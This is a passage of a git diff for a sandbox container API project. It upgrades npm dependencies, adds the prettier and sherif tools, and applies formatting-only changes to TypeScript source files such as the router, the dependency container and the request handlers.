"sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==", + "version": "1.0.0-beta.43", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.43.tgz", + "integrity": "sha512-5Uxg7fQUCmfhax7FJke2+8B6cqgeUJUD9o2uXIKXhD+mG0mL6NObmVoi9wXEU1tY89mZKgAYA6fTbftx3q2ZPQ==", "dev": true, "license": "MIT" }, @@ -3825,7 +3312,6 @@ "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.2.tgz", "integrity": "sha512-6mDvHUFSjyT2B2yeNx2nUgMxh9LtOWvkhIU3uePn2I2oyNymUAX1NIsdgviM4CH+JSrp2D2hsMvJOkxY+0wNRA==", "license": "MIT", - "peer": true, "dependencies": { "csstype": "^3.0.2" } @@ -3880,21 +3366,21 @@ "license": "ISC" }, "node_modules/@vitejs/plugin-react": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", - "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.0.tgz", + "integrity": "sha512-4LuWrg7EKWgQaMJfnN+wcmbAW+VSsCmqGohftWjuct47bv8uE4n/nPpq4XjJPsxgq00GGG5J8dvBczp8uxScew==", "dev": true, "license": "MIT", "dependencies": { - "@babel/core": "^7.28.0", + "@babel/core": "^7.28.4", "@babel/plugin-transform-react-jsx-self": "^7.27.1", "@babel/plugin-transform-react-jsx-source": "^7.27.1", - "@rolldown/pluginutils": "1.0.0-beta.27", + "@rolldown/pluginutils": "1.0.0-beta.43", "@types/babel__core": "^7.20.5", - "react-refresh": "^0.17.0" + "react-refresh": "^0.18.0" }, "engines": { - "node": "^14.18.0 || >=16.0.0" + "node": "^20.19.0 || >=22.12.0" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" @@ -3963,7 +3449,6 @@ "integrity": "sha512-oukfKT9Mk41LreEW09vt45f8wx7DordoWUZMYdY/cyAk7w5TWkTRCNZYF7sX7n2wB7jyGAl74OxgwhPgKaqDMQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@vitest/utils": "3.2.4", "pathe": "^2.0.3", @@ -3979,7 +3464,6 @@ "integrity": "sha512-dEYtS7qQP2CjU27QBC5oUOxLE/v5eLkGqPE0ZKEIDGMs4vKWe7IjgLOeauHsR0D5YuuycGRO5oSRXnwnmA78fQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@vitest/pretty-format": "3.2.4", "magic-string": "^0.30.17", @@ -4008,7 +3492,6 @@ "integrity": "sha512-hGISOaP18plkzbWEcP/QvtRW1xDXF2+96HbEX6byqQhAUbiS5oH6/9JwW+QsQCIYON2bI6QZBF+2PvOmrRZ9wA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@vitest/utils": "3.2.4", "fflate": "^0.8.2", @@ -4230,7 +3713,6 @@ } ], "license": "MIT", - "peer": true, "dependencies": { "baseline-browser-mapping": "^2.8.19", "caniuse-lite": "^1.0.30001751", @@ -5483,6 +4965,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "license": "MIT", + "peer": true, "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, @@ -6560,6 +6043,7 @@ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", "license": "MIT", + "peer": true, "engines": { "node": ">=0.10.0" } @@ -6582,16 +6066,16 @@ } }, "node_modules/openai": { - "version": "5.23.2", - "resolved": "https://registry.npmjs.org/openai/-/openai-5.23.2.tgz", - "integrity": "sha512-MQBzmTulj+MM5O8SKEk/gL8a7s5mktS9zUtAkU257WjvobGc9nKcBuVwjyEEcb9SI8a8Y2G/mzn3vm9n1Jlleg==", + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-6.7.0.tgz", + "integrity": "sha512-mgSQXa3O/UXTbA8qFzoa7aydbXBJR5dbLQXCRapAOtoNT+v69sLdKMZzgiakpqhclRnhPggPAXoniVGn2kMY2A==", "license": "Apache-2.0", "bin": { "openai": "bin/cli" }, "peerDependencies": { "ws": "^8.18.0", - "zod": "^3.23.8" + "zod": "^3.25 || ^4.0" }, "peerDependenciesMeta": { "ws": { @@ -6852,16 +6336,16 @@ } }, "node_modules/prettier": { - "version": "2.8.8", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.8.8.tgz", - "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.6.2.tgz", + "integrity": "sha512-I7AIg5boAr5R0FFtJ6rCfD+LFsWHp81dolrFD8S79U9tb8Az2nGrJncnMSnys+bpQJfRUzqs9hnA81OAA3hCuQ==", "dev": true, "license": "MIT", "bin": { - "prettier": "bin-prettier.js" + "prettier": "bin/prettier.cjs" }, "engines": { - "node": ">=10.13.0" + "node": ">=14" }, "funding": { "url": "https://github.com/prettier/prettier?sponsor=1" @@ -6981,7 +6465,6 @@ "resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz", "integrity": "sha512-tmbWg6W31tQLeB5cdIBOicJDJRR2KzXsV7uSK9iNfLWQ5bIZfxuPEHp7M8wiHyHnn0DD1i7w3Zmin0FtkrwoCQ==", "license": "MIT", - "peer": true, "engines": { "node": ">=0.10.0" } @@ -7003,7 +6486,8 @@ "version": "16.13.1", "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", - "license": "MIT" + "license": "MIT", + "peer": true }, "node_modules/react-katex": { "version": "3.1.0", @@ -7046,9 +6530,9 @@ } }, "node_modules/react-refresh": { - "version": "0.17.0", - "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", - "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==", + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", + "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", "dev": true, "license": "MIT", "engines": { @@ -7188,7 +6672,6 @@ "integrity": "sha512-iMmuD72XXLf26Tqrv1cryNYLX6NNPLhZ3AmNkSf8+xda0H+yijjGJ+wVT9UdBUHOpKzq9RjKtQKRCWoEKQQBZQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@oxc-project/types": "=0.95.0", "@rolldown/pluginutils": "1.0.0-beta.45" @@ -7434,6 +6917,108 @@ "node": ">=8" } }, + "node_modules/sherif": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/sherif/-/sherif-1.7.0.tgz", + "integrity": "sha512-kf+WTg/oEpG7O5QX1t67LsY+dXB4hkdqbR/nNNepVPH6OsKuZ4lIR74OESuQkvRGdU2vytrRTmWTXLQrx4Kc/A==", + "dev": true, + "license": "MIT", + "bin": { + "sherif": "index.js" + }, + "optionalDependencies": { + "sherif-darwin-arm64": "1.7.0", + "sherif-darwin-x64": "1.7.0", + "sherif-linux-arm64": "1.7.0", + "sherif-linux-x64": "1.7.0", + "sherif-windows-arm64": "1.7.0", + "sherif-windows-x64": "1.7.0" + } + }, + "node_modules/sherif-darwin-arm64": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/sherif-darwin-arm64/-/sherif-darwin-arm64-1.7.0.tgz", + "integrity": "sha512-ziIJoGx+VFcP6G01XwOJh8cNLfDXj3CWSdDtaj9kXHaGT9oPj68z1xAoFuKHQCukj2jhmwyBrSZy4Zvli9MmaQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/sherif-darwin-x64": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/sherif-darwin-x64/-/sherif-darwin-x64-1.7.0.tgz", + "integrity": "sha512-GKQw0zFqUWGbYrk+HU1Nzhr93p8VlEsjAkUhJ5UQVPxGtAf8VyRHQFJKWdoqYdhs0kckV04LfSfOHeaj/VFu5w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/sherif-linux-arm64": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/sherif-linux-arm64/-/sherif-linux-arm64-1.7.0.tgz", + "integrity": "sha512-qW08gpfjhrURkKoi0OaLlk+O/xvMqpD1oVRpeHLtyFqTof6msBqmfPKdQful2tPLWFVmNoU27emOgRUh5pAPBQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/sherif-linux-x64": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/sherif-linux-x64/-/sherif-linux-x64-1.7.0.tgz", + "integrity": "sha512-1yPKSPXXZqIbbIbQPjoxO8yL8ASNy3lbRXpEvj+NT7rk6KNkGqarG3BlI6PtNdN2JZnFPwIp0FAVNVGTv01yqQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/sherif-windows-arm64": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/sherif-windows-arm64/-/sherif-windows-arm64-1.7.0.tgz", + "integrity": "sha512-edVI8PScUI42i11IH3SP9CIqLVrHS9CNzXFJHgbbSAZ/EC7B0ixcFYQxD4eiYpz/K2QIVZOPYXTt+FMQWqgyGg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/sherif-windows-x64": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/sherif-windows-x64/-/sherif-windows-x64-1.7.0.tgz", + "integrity": "sha512-QKzMkpk6S1Tp8Q6L/wChA44ZHyJ1Uah+WuM4X+O6+vSG4cQ/xWGCF+7AqDJpuC0y6D1k7GgC1lUEt0ZwTEuHLA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, "node_modules/siginfo": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", @@ -7747,7 +7332,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -7916,7 +7500,6 @@ "integrity": "sha512-ytQKuwgmrrkDTFP4LjR0ToE2nqgy886GpvRSpU0JAnrdBYppuY5rLkRUYPU1yCryb24SsKBTL/hlDQAEFVwtZg==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "~0.25.0", "get-tsconfig": "^4.7.5" @@ -8113,7 +7696,6 @@ "integrity": "sha512-Wj7/AMtE9MRnAXa6Su3Lk0LNCfqDYgfwVjwRFVum9U7wsto1imuHqk4kTm7Jni+5A0Hn7dttL6O/zjvUvoo+8A==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "defu": "^6.1.4", "exsolve": "^1.0.7", @@ -8332,7 +7914,6 @@ "integrity": "sha512-ZWyE8YXEXqJrrSLvYgrRP7p62OziLW7xI5HYGWFzOvupfAlrLvURSzv/FyGyy0eidogEM3ujU+kUG1zuHgb6Ug==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", @@ -8449,7 +8030,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -8463,7 +8043,6 @@ "integrity": "sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@types/chai": "^5.2.2", "@vitest/expect": "3.2.4", @@ -9147,7 +8726,6 @@ "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", "devOptional": true, "license": "MIT", - "peer": true, "engines": { "node": ">=10.0.0" }, @@ -9233,7 +8811,7 @@ "version": "0.4.13", "license": "ISC", "dependencies": { - "@cloudflare/containers": "^0.0.29" + "@cloudflare/containers": "^0.0.30" }, "devDependencies": { "@repo/shared": "*" @@ -9244,13 +8822,13 @@ "version": "0.0.2", "dependencies": { "@repo/shared": "*", - "esbuild": "^0.25.10", + "esbuild": "^0.25.11", "zod": "^3.22.3" }, "devDependencies": { "@repo/typescript-config": "*", - "@types/bun": "^1.2.19", - "typescript": "^5.8.3" + "@types/bun": "^1.3.1", + "typescript": "^5.9.3" } }, "packages/shared": { @@ -9258,7 +8836,7 @@ "version": "0.0.0", "devDependencies": { "@repo/typescript-config": "*", - "typescript": "^5.8.3" + "typescript": "^5.9.3" } }, "tests/integration": { @@ -9267,7 +8845,7 @@ "license": "MIT", "dependencies": { "@cloudflare/sandbox": "*", - "katex": "^0.16.22", + "katex": "^0.16.25", "react-katex": "^3.1.0", "react-markdown": "^10.1.0", "remark-gfm": "^4.0.1" diff --git a/package.json b/package.json index dcf1c7d1..2b84a34e 100644 --- a/package.json +++ b/package.json @@ -4,7 +4,8 @@ "description": "an api for computers", "scripts": { "typecheck": "turbo run typecheck", - "check": "biome check && turbo run typecheck", + "format": "prettier --write .", + "check": "sherif && biome check && turbo run typecheck", "fix": "biome check --fix && turbo run typecheck", "build": "turbo run build", "build:clean": "turbo run build --force", @@ -23,33 +24,35 @@ "examples/*" ], "devDependencies": { - "@biomejs/biome": "^2.1.2", + "@biomejs/biome": "^2.3.2", "@changesets/changelog-github": "^0.5.1", - "@changesets/cli": "^2.29.5", - "@cloudflare/vite-plugin": "^1.13.12", - "@cloudflare/vitest-pool-workers": "^0.9.12", - "@cloudflare/workers-types": "^4.20250725.0", - "@types/bun": "^1.2.19", - "@types/node": "^24.9.1", - "@types/react": "^19.1.8", - "@types/react-dom": "^19.1.6", + "@changesets/cli": "^2.29.7", + "@cloudflare/vite-plugin": "^1.13.17", + "@cloudflare/vitest-pool-workers": "^0.10.2", + "@cloudflare/workers-types": "^4.20251014.0", + "@types/bun": "^1.3.1", + "@types/node": "^24.9.2", + "@types/react": "^19.2.2", + "@types/react-dom": "^19.2.2", "@types/ws": "^8.18.1", - "@vitejs/plugin-react": "^4.7.0", + "@vitejs/plugin-react": "^5.1.0", "@vitest/ui": "^3.2.4", "fast-glob": "^3.3.3", - "happy-dom": "^20.0.0", + "happy-dom": "^20.0.10", "pkg-pr-new": "^0.0.60", - "react": "^19.1.0", - "react-dom": "^19.1.0", + "prettier": "^3.6.2", + "react": "^19.2.0", + "react-dom": "^19.2.0", + "sherif": "^1.7.0", "tsdown": "^0.15.11", - "tsx": "^4.20.3", + "tsx": "^4.20.6", "turbo": "^2.5.8", - "typescript": "^5.8.3", - "vite": "^7.1.11", + "typescript": "^5.9.3", + "vite": "^7.1.12", "vitest": "^3.2.4", - "wrangler": "^4.44.0", + "wrangler": "^4.45.2", "ws": "^8.18.3" }, "private": true, - "packageManager": "npm@11.5.1" + "packageManager": "npm@11.6.2" } diff --git a/packages/sandbox-container/package.json b/packages/sandbox-container/package.json index 4796f590..c2d0237d 100644 --- a/packages/sandbox-container/package.json +++ b/packages/sandbox-container/package.json @@ -13,12 +13,12 @@ }, "dependencies": { "@repo/shared": "*", - "esbuild": "^0.25.10", + "esbuild": "^0.25.11", "zod": "^3.22.3" }, "devDependencies": { "@repo/typescript-config": "*", - "@types/bun": "^1.2.19", - "typescript": "^5.8.3" + "@types/bun": "^1.3.1", + "typescript": "^5.9.3" } } diff --git a/packages/sandbox-container/src/config.ts b/packages/sandbox-container/src/config.ts index 73a02457..9a99fe26 100644 --- a/packages/sandbox-container/src/config.ts +++ b/packages/sandbox-container/src/config.ts @@ -24,8 +24,8 @@ const SANDBOX_LOG_FORMAT = process.env.SANDBOX_LOG_FORMAT || 'json'; * Environment variable: INTERPRETER_SPAWN_TIMEOUT_MS */ const INTERPRETER_SPAWN_TIMEOUT_MS = parseInt( - process.env.INTERPRETER_SPAWN_TIMEOUT_MS || '60000', - 10, + process.env.INTERPRETER_SPAWN_TIMEOUT_MS || '60000', + 10 ); /** @@ -37,8 +37,8 @@ const INTERPRETER_SPAWN_TIMEOUT_MS = parseInt( * Environment variable: INTERPRETER_EXECUTION_TIMEOUT_MS */ const INTERPRETER_EXECUTION_TIMEOUT_MS = (() => { - const val = parseInt(process.env.INTERPRETER_EXECUTION_TIMEOUT_MS || '0', 10); - return val === 0 ? undefined : val; + const val = parseInt(process.env.INTERPRETER_EXECUTION_TIMEOUT_MS || '0', 10); + return val === 0 ? undefined : val; })(); /** @@ -50,8 +50,8 @@ const INTERPRETER_EXECUTION_TIMEOUT_MS = (() => { * Environment variable: COMMAND_TIMEOUT_MS */ const COMMAND_TIMEOUT_MS = (() => { - const val = parseInt(process.env.COMMAND_TIMEOUT_MS || '0', 10); - return val === 0 ? undefined : val; + const val = parseInt(process.env.COMMAND_TIMEOUT_MS || '0', 10); + return val === 0 ? undefined : val; })(); /** @@ -62,8 +62,8 @@ const COMMAND_TIMEOUT_MS = (() => { * Environment variable: MAX_OUTPUT_SIZE_BYTES */ const MAX_OUTPUT_SIZE_BYTES = parseInt( - process.env.MAX_OUTPUT_SIZE_BYTES || String(10 * 1024 * 1024), - 10, + process.env.MAX_OUTPUT_SIZE_BYTES || String(10 * 1024 * 1024), + 10 ); /** @@ -82,12 +82,12 @@ const STREAM_CHUNK_DELAY_MS = 100; const DEFAULT_CWD = '/workspace'; export const CONFIG = { - SANDBOX_LOG_LEVEL, - SANDBOX_LOG_FORMAT, - INTERPRETER_SPAWN_TIMEOUT_MS, - INTERPRETER_EXECUTION_TIMEOUT_MS, - COMMAND_TIMEOUT_MS, - MAX_OUTPUT_SIZE_BYTES, - STREAM_CHUNK_DELAY_MS, - DEFAULT_CWD, + SANDBOX_LOG_LEVEL, + SANDBOX_LOG_FORMAT, + INTERPRETER_SPAWN_TIMEOUT_MS, + INTERPRETER_EXECUTION_TIMEOUT_MS, + COMMAND_TIMEOUT_MS, + MAX_OUTPUT_SIZE_BYTES, + STREAM_CHUNK_DELAY_MS, + DEFAULT_CWD } as const; diff --git a/packages/sandbox-container/src/core/container.ts b/packages/sandbox-container/src/core/container.ts index 0af9bfa6..2b99698d 100644 --- a/packages/sandbox-container/src/core/container.ts +++ b/packages/sandbox-container/src/core/container.ts @@ -16,7 +16,10 @@ import { FileService } from '../services/file-service'; import { GitService } from '../services/git-service'; import { InterpreterService } from '../services/interpreter-service'; import { InMemoryPortStore, PortService } from '../services/port-service'; -import { InMemoryProcessStore, ProcessService } from '../services/process-service'; +import { + InMemoryProcessStore, + ProcessService +} from '../services/process-service'; import { SessionManager } from '../services/session-manager'; import { RequestValidator } from '../validation/request-validator'; @@ -56,17 +59,22 @@ export class Container { if (!this.initialized) { throw new Error('Container not initialized. Call initialize() first.'); } - + const dependency = this.dependencies[key]; if (!dependency) { - throw new Error(`Dependency '${key}' not found. Make sure to initialize the container.`); + throw new Error( + `Dependency '${key}' not found. Make sure to initialize the container.` + ); } - + // Safe cast because we know the container is initialized and dependency exists return dependency as Dependencies[T]; } - set(key: T, implementation: Dependencies[T]): void { + set( + key: T, + implementation: Dependencies[T] + ): void { this.dependencies[key] = implementation; } @@ -89,8 +97,16 @@ export class Container { const sessionManager = new SessionManager(logger); // Initialize services - const processService = new ProcessService(processStore, logger, sessionManager); - const fileService = new FileService(securityAdapter, logger, sessionManager); + const processService = new ProcessService( + processStore, + logger, + sessionManager + ); + const fileService = new FileService( + securityAdapter, + logger, + sessionManager + ); const portService = new PortService(portStore, securityAdapter, logger); const gitService = new GitService(securityAdapter, logger, sessionManager); const interpreterService = new InterpreterService(logger); @@ -102,9 +118,12 @@ export class Container { const processHandler = new ProcessHandler(processService, logger); const portHandler = new PortHandler(portService, logger); const gitHandler = new GitHandler(gitService, logger); - const interpreterHandler = new InterpreterHandler(interpreterService, logger); + const interpreterHandler = new InterpreterHandler( + interpreterService, + logger + ); const miscHandler = new MiscHandler(logger); - + // Initialize middleware const corsMiddleware = new CorsMiddleware(); const loggingMiddleware = new LoggingMiddleware(logger); @@ -135,7 +154,7 @@ export class Container { // Middleware corsMiddleware, - loggingMiddleware, + loggingMiddleware }; this.initialized = true; diff --git a/packages/sandbox-container/src/core/router.ts b/packages/sandbox-container/src/core/router.ts index 2be6684e..1c9dc5d4 100644 --- a/packages/sandbox-container/src/core/router.ts +++ b/packages/sandbox-container/src/core/router.ts @@ -36,7 +36,13 @@ export class Router { } private validateHttpMethod(method: string): HttpMethod { - const validMethods: HttpMethod[] = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']; + const validMethods: HttpMethod[] = [ + 'GET', + 'POST', + 'PUT', + 'DELETE', + 'OPTIONS' + ]; if (validMethods.includes(method as HttpMethod)) { return method as HttpMethod; } @@ -63,13 +69,16 @@ export class Router { sessionId: this.extractSessionId(request), corsHeaders: this.getCorsHeaders(), requestId: this.generateRequestId(), - timestamp: new Date(), + timestamp: new Date() }; try { // Build middleware chain (global + route-specific) - const middlewareChain = [...this.globalMiddleware, ...(route.middleware || [])]; - + const middlewareChain = [ + ...this.globalMiddleware, + ...(route.middleware || []) + ]; + // Execute middleware chain return await this.executeMiddlewareChain( middlewareChain, @@ -83,7 +92,9 @@ export class Router { pathname, requestId: context.requestId }); - return this.createErrorResponse(error instanceof Error ? error : new Error('Unknown error')); + return this.createErrorResponse( + error instanceof Error ? error : new Error('Unknown error') + ); } } @@ -174,7 +185,8 @@ export class Router { // Try query params ?session= or ?sessionId= try { const url = new URL(request.url); - const qp = url.searchParams.get('session') || url.searchParams.get('sessionId'); + const qp = + url.searchParams.get('session') || url.searchParams.get('sessionId'); if (qp) { return qp; } @@ -191,9 +203,10 @@ export class Router { */ private getCorsHeaders(): Record { return { - 'Access-Control-Allow-Headers': 'Content-Type, Authorization, X-Session-Id', + 'Access-Control-Allow-Headers': + 'Content-Type, Authorization, X-Session-Id', 'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS', - 'Access-Control-Allow-Origin': '*', + 'Access-Control-Allow-Origin': '*' }; } @@ -213,19 +226,16 @@ export class Router { message: 'The requested endpoint was not found', context: {}, httpStatus: 404, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; - return new Response( - JSON.stringify(errorResponse), - { - status: 404, - headers: { - 'Content-Type': 'application/json', - ...this.getCorsHeaders(), - }, + return new Response(JSON.stringify(errorResponse), { + status: 404, + headers: { + 'Content-Type': 'application/json', + ...this.getCorsHeaders() } - ); + }); } /** @@ -236,21 +246,18 @@ export class Router { code: ErrorCode.INTERNAL_ERROR, message: error.message, context: { - stack: error.stack, + stack: error.stack }, httpStatus: 500, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; - return new Response( - JSON.stringify(errorResponse), - { - status: 500, - headers: { - 'Content-Type': 'application/json', - ...this.getCorsHeaders(), - }, + return new Response(JSON.stringify(errorResponse), { + status: 500, + headers: { + 'Content-Type': 'application/json', + ...this.getCorsHeaders() } - ); + }); } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/core/types.ts b/packages/sandbox-container/src/core/types.ts index 363005a5..84e6b00d 100644 --- a/packages/sandbox-container/src/core/types.ts +++ b/packages/sandbox-container/src/core/types.ts @@ -11,15 +11,17 @@ export interface RequestContext { timestamp: Date; } -export type ValidationResult = { - isValid: true; - data: T; - errors: ValidationError[]; -} | { - isValid: false; - data?: undefined; - errors: ValidationError[]; -} +export type ValidationResult = + | { + isValid: true; + data: T; + errors: ValidationError[]; + } + | { + isValid: false; + data?: undefined; + errors: ValidationError[]; + }; export interface ValidationError { field: string; @@ -28,21 +30,25 @@ export interface ValidationError { } export type ServiceResult> = T extends void - ? { - success: true; - metadata?: M; - } | { - success: false; - error: ServiceError; - } - : { - success: true; - data: T; - metadata?: M; - } | { - success: false; - error: ServiceError; - } + ? + | { + success: true; + metadata?: M; + } + | { + success: false; + error: ServiceError; + } + : + | { + success: true; + data: T; + metadata?: M; + } + | { + success: false; + error: ServiceError; + }; export interface ServiceError { message: string; @@ -215,7 +221,7 @@ export interface SessionData { // Process types (enhanced from existing) export type ProcessStatus = | 'starting' - | 'running' + | 'running' | 'completed' | 'failed' | 'killed' @@ -287,7 +293,7 @@ export interface MkdirOptions { mode?: string; } -// Port management types +// Port management types export interface PortInfo { port: number; name?: string; @@ -363,7 +369,7 @@ export type { MoveFileRequest } from '../validation/schemas'; export interface MoveFileResponse { success: boolean; - exitCode: number; + exitCode: number; path: string; newPath: string; timestamp: string; @@ -398,4 +404,8 @@ export interface MkdirResponse { export type { StartProcessRequest } from '@repo/shared'; // Import union types from Zod schemas -export type { ExposePortRequest, FileOperation, FileRequest } from '../validation/schemas'; \ No newline at end of file +export type { + ExposePortRequest, + FileOperation, + FileRequest +} from '../validation/schemas'; diff --git a/packages/sandbox-container/src/handlers/base-handler.ts b/packages/sandbox-container/src/handlers/base-handler.ts index 69e4ada0..fa394e56 100644 --- a/packages/sandbox-container/src/handlers/base-handler.ts +++ b/packages/sandbox-container/src/handlers/base-handler.ts @@ -5,13 +5,9 @@ import { type ErrorResponse, getHttpStatus, getSuggestion, - type OperationType, -} from "@repo/shared/errors"; -import type { - Handler, - RequestContext, - ServiceError, -} from "../core/types"; + type OperationType +} from '@repo/shared/errors'; +import type { Handler, RequestContext, ServiceError } from '../core/types'; export abstract class BaseHandler implements Handler @@ -35,9 +31,9 @@ export abstract class BaseHandler return new Response(JSON.stringify(responseData), { status: statusCode, headers: { - "Content-Type": "application/json", - ...context.corsHeaders, - }, + 'Content-Type': 'application/json', + ...context.corsHeaders + } }); } @@ -54,9 +50,9 @@ export abstract class BaseHandler return new Response(JSON.stringify(errorResponse), { status: errorResponse.httpStatus, headers: { - "Content-Type": "application/json", - ...context.corsHeaders, - }, + 'Content-Type': 'application/json', + ...context.corsHeaders + } }); } @@ -73,10 +69,12 @@ export abstract class BaseHandler code: errorCode, message: serviceError.message, context: serviceError.details || {}, - operation: operation || (serviceError.details?.operation as OperationType | undefined), + operation: + operation || + (serviceError.details?.operation as OperationType | undefined), httpStatus: getHttpStatus(errorCode), timestamp: new Date().toISOString(), - suggestion: getSuggestion(errorCode, serviceError.details || {}), + suggestion: getSuggestion(errorCode, serviceError.details || {}) }; } @@ -90,14 +88,16 @@ export abstract class BaseHandler return body as T; } catch (error) { throw new Error( - `Failed to parse request body: ${error instanceof Error ? error.message : 'Invalid JSON'}` + `Failed to parse request body: ${ + error instanceof Error ? error.message : 'Invalid JSON' + }` ); } } protected extractPathParam(pathname: string, position: number): string { - const segments = pathname.split("/"); - return segments[position] || ""; + const segments = pathname.split('/'); + return segments[position] || ''; } protected extractQueryParam(request: Request, param: string): string | null { diff --git a/packages/sandbox-container/src/handlers/execute-handler.ts b/packages/sandbox-container/src/handlers/execute-handler.ts index d228fc68..784b3554 100644 --- a/packages/sandbox-container/src/handlers/execute-handler.ts +++ b/packages/sandbox-container/src/handlers/execute-handler.ts @@ -24,24 +24,33 @@ export class ExecuteHandler extends BaseHandler { case '/api/execute/stream': return await this.handleStreamingExecute(request, context); default: - return this.createErrorResponse({ - message: 'Invalid execute endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid execute endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } } - private async handleExecute(request: Request, context: RequestContext): Promise { + private async handleExecute( + request: Request, + context: RequestContext + ): Promise { // Parse request body directly const body = await this.parseRequestBody(request); const sessionId = body.sessionId || context.sessionId; // If this is a background process, start it as a process if (body.background) { - const processResult = await this.processService.startProcess(body.command, { - sessionId, - timeoutMs: body.timeoutMs, - }); + const processResult = await this.processService.startProcess( + body.command, + { + sessionId, + timeoutMs: body.timeoutMs + } + ); if (!processResult.success) { return this.createErrorResponse(processResult.error, context); @@ -54,7 +63,7 @@ export class ExecuteHandler extends BaseHandler { processId: processData.id, pid: processData.pid, command: body.command, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -63,7 +72,7 @@ export class ExecuteHandler extends BaseHandler { // For non-background commands, execute and return result const result = await 